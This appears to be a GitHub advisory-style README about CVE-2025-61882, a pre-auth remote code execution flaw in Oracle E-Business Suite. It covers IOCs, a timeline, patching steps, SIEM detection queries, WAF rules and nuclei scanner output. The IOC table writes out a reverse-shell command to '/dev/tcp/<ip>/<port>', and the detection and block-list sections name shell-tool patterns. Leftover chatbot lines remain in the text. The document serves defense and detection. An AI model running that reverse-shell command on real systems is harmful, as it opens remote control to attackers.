关联漏洞
描述
CVE-2025-61882
介绍
# 🛡️🚨 CVE‑2025‑61882 — Critical Pre‑Auth Remote Code Execution in Oracle E‑Business Suite (EBS) 🚨🛡️
> Short summary: **Critical pre‑auth remote code execution** in **Oracle E‑Business Suite (EBS)** — affects 12.2.3 → 12.2.14, CVSS **9.8**, actively exploited in the wild (ransom/ extortion activity reported). ([oracle.com][1])
---
# 📌 Quick facts (table)
| Field | Details |
| ------------------------ | -------------------------------------------------------------------------------- |
| 🆔 CVE | **CVE‑2025‑61882** |
| 🧾 Product / Component | Oracle E‑Business Suite (EBS) — Concurrent Processing / BI Publisher integration |
| 📦 Affected versions | **12.2.3 → 12.2.14** |
| 🔢 CVSS (v3.1) | **9.8** (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H) |
| ⚠️ Type | Remote Code Execution (RCE) — **no authentication required** |
| 🔥 Exploited in the wild | **Yes** — mass exploitation / extortion campaigns reported |
| 📅 Disclosure / timeline | October 2025 (vendor advisory + public writeups). ([oracle.com][1]) |
*(Above consolidated from vendor advisory, NVD/CISA, and multiple vendor analyses.)* ([oracle.com][1])
---
# 💥 Impact (table)
| Impact area | What it means |
| ------------------ | ------------------------------------------------------------------------------ |
| 🔓 Confidentiality | Attackers can read sensitive HR/finance/ERP data |
| 🛠️ Integrity | Attackers can modify records, create backdoors or alter configurations |
| ⚡ Availability | Attackers can disrupt services, execute ransomware or destroy backups |
| 🧭 Risk level | **Extreme** — pre‑auth RCE on critical ERP system → possible full domain pivot |
References reporting high‑impact exploitation and ransomware linkage. ([Rapid7][2])
---
# 🛠️ Technical summary (concise)
* **Vector:** HTTP/HTTPS requests to exposed EBS web endpoints trigger a vulnerability chain in the Concurrent Processing / BI Publisher integration leading to remote code execution. ([oracle.com][1])
* **Complexity:** Low (no authentication, no user interaction). ([nvd.nist.gov][3])
* **Observed payloads:** reverse shell patterns, web shells, dropped scripts used for data exfiltration and extortion. ([Rapid7][2])
---
# 🕵️♀️ Indicators of Compromise (IOCs) — examples (table)
> Oracle and incident responders published IOCs; below are representative examples reported in advisories and vendor writeups. Hunt for these patterns in logs and endpoints. ([oracle.com][1])
| Type | Example |
| ------------------ | ----------------------------------------------------------------------------------------- |
| 🌐 IPs (observed) | `200.107.207.26`, `185.181.60.11` (example addresses reported) |
| 🧾 Command pattern | `sh -c /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1` (reverse shell) |
| 🗂️ File hashes | Several SHA‑256 hashes for suspected exploit scripts (see vendor advisory for full list) |
| 🕳️ Artifacts | Unexpected web shells, new cronjobs, suspicious outbound connections to unusual IPs/ports |
> If you want the **full IOC list** (IPs, full hashes, filenames) I can paste it here — say “paste IOCs”. (No links.)
---
# 🧭 Timeline (compact)
| Date | Event |
| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
| Aug 9, 2025 | Earliest reported real‑world exploitation activity (vendor telemetry). ([crowdstrike.com][4]) |
| Early Oct 2025 | Oracle issued security alert / patch availability for EBS. ([oracle.com][1]) |
| Oct 6–7, 2025 | CISA added the CVE to its Known Exploited Vulnerabilities (KEV) catalog (federal agencies guidance, due date for mitigation). ([cisa.gov][5]) |
| Oct 2025 (ongoing) | Multiple vendor writeups and mass‑exploit reports (CrowdStrike, Rapid7, Tenable, etc.). ([crowdstrike.com][4]) |
---
# ✅ Immediate recommended actions (step table)
| Priority | Action | Notes / Sample specifics |
| ------------ | -------------------------------------------------: | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| 1️⃣ Critical | **Patch** affected EBS instances | Apply Oracle’s Security Alert patches for versions 12.2.3–12.2.14 immediately. ([oracle.com][1]) |
| 2️⃣ High | **Isolate / restrict** access to EBS web endpoints | Block Internet‑facing HTTP/HTTPS to EBS; allow only trusted admin IPs or VPN. |
| 3️⃣ High | **Enable/adjust WAF rules** | Deploy vendor/community WAF signatures for the exploit patterns; block suspicious payloads. ([Rapid7][2]) |
| 4️⃣ High | **Hunt & detect** | Search logs for reverse shell commands, abnormal file writes, and outbound connections to IOCs. |
| 5️⃣ Incident | **Contain & respond** if compromise found | Isolate host, preserve forensic evidence, change credentials, rebuild from clean backups. |
| 6️⃣ Policy | **Report & notify** | If you’re in scope of regulatory/contractual requirements, notify stakeholders and authorities per policy (CISA/KEV guidance may apply). ([nvd.nist.gov][3]) |
---
# 💀 Exploits :
```yaml
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://10.10.10.10:8000 -t CVE-2025-61882.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[INF] Scan completed in 485.722955ms. 1 matches found.
┌──(kali㉿kali)-[~]
└─$ nuclei -l targets.txt -t CVE-2025-61882.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 7
[INF] Running httpx on input host
[INF] Found 7 URL from httpx
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Mon, 02 Oct 2023 13:57:20 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sat, 31 Aug 2024 15:30:07 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Tue, 15 Aug 2023 16:58:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Fri, 30 Aug 2024 21:49:46 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sun, 16 May 2021 17:03:44 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http:/10.10.10.10:8000 ["Fri, 01 Sep 2023 13:20:35 GMT"]
[INF] Scan completed in 621.029991ms. 7 matches found.
```
<img width="1920" height="957" alt="CVE-2025-61882 Oracle E-Business Suite 1" src="https://github.com/user-attachments/assets/3cadb847-3c75-4ab3-b864-cff8920f72bf" />
<img width="1920" height="960" alt="CVE-2025-61882 Oracle E-Business Suite 4" src="https://github.com/user-attachments/assets/0a1c21b1-6976-4231-a852-87e2bac722af" />
---
# 🕵️♂️ Sample detection queries (copy/paste friendly)
**Splunk (search for reverse shell pattern):**
```
index=web OR index=ebs_logs (uri_path="/cgi/*" OR uri_path="/xmlpserver/*")
| search "* /bin/bash -i * /dev/tcp/*" OR "*/dev/tcp/* 0>&1*"
| table _time host src_ip user uri_path _raw
```
**ELK / Kibana (KQL):**
```
http.request.body : "*bash -i*" or http.request.body : "* /dev/tcp/*"
```
**Sigma rule (conceptual):**
```yaml
title: Oracle EBS Reverse Shell via HTTP
detection:
selection:
EventID: 1234
ProcessCommandLine|contains: "/dev/tcp/"
condition: selection
```
*(Adjust field names to your log schema; use IOCs to refine.)*
---
# 🔐 Sample firewall / WAF mitigations (examples)
* **Network ACL:** Block inbound `80/443` to EBS servers from the public internet; allow only management VPN and specific admin IPs.
* **WAF rule (pseudo):** Block requests containing `bash -i`, `/dev/tcp/`, `base64 -d`, or typical exploit payload patterns in POST bodies or URL parameters.
* **Rate limiting / geo‑block:** Temporarily rate‑limit requests to EBS endpoints and block traffic from known malicious geographies if consistent with business needs.
---
# 🧾 Patch checklist (quick)
1. Take backups & snapshot VM images ✅
2. Test patch in staging (if possible) ✅
3. Apply Oracle Security Alert patch to EBS 12.2.3–12.2.14 ✅ (follow vendor steps: stop services, apply patch, run post‑install tasks) ([oracle.com][1])
4. Restart and validate service health ✅
5. Re‑scan for compromise artifacts and run full host forensic checks ✅
---
# 🧠 Threat actor / exploitation notes
* Multiple vendors attribute active exploitation to groups tied to extortion/ransomware (e.g., **Cl0p / Graceful Spider** or related actors) — used for data theft and extortion. Attribution confidence varies by vendor. ([crowdstrike.com][4])
---
# 📋 For SOC / IR teams — playbook checklist
* **Triage:** Inbound exploit attempt? Capture HTTP request, headers, POST body.
* **Contain:** Isolate affected host network.
* **Forensics:** Collect memory, disk image, web server logs, audit logs.
* **Remediate:** Rebuild host from clean image if compromise confirmed.
* **Recovery:** Restore from known‑good backups; rotate credentials.
* **Report:** Log incident, notify stakeholders, comply with KEV/CISA guidance if applicable. ([nvd.nist.gov][3])
---
# 🔎 Sources (short list of authoritative reporting)
*(I list sources for accuracy — I won’t paste links here but these are the vendor/authority names so you can reference them if needed.)*
* Oracle Security Alert / Patch Availability (vendor advisory). ([oracle.com][1])
* NVD / CISA (CISA KEV catalog entry and NVD metadata). ([nvd.nist.gov][3])
* CrowdStrike technical report on campaigns. ([crowdstrike.com][4])
* Rapid7 / Tenable / other vendor analyses and FAQs. ([Rapid7][2])
---
# Here’s a **professional, emoji-rich disclaimer** you can use for your CVE‑2025‑61882 report:
---
# ⚠️💀 Disclaimer 💀⚠️
The information provided in this report is **for awareness, defensive, and educational purposes only**.
Use of this information to exploit, attack, or compromise any system **without explicit authorization is illegal** and may result in **criminal and civil penalties**.
🔒 Always apply recommended patches, follow security best practices, and conduct testing **in controlled environments only**.
🧾 This report **does not replace official vendor advisories** — always consult Oracle Security Alerts and authorized guidance for definitive remediation instructions.
---
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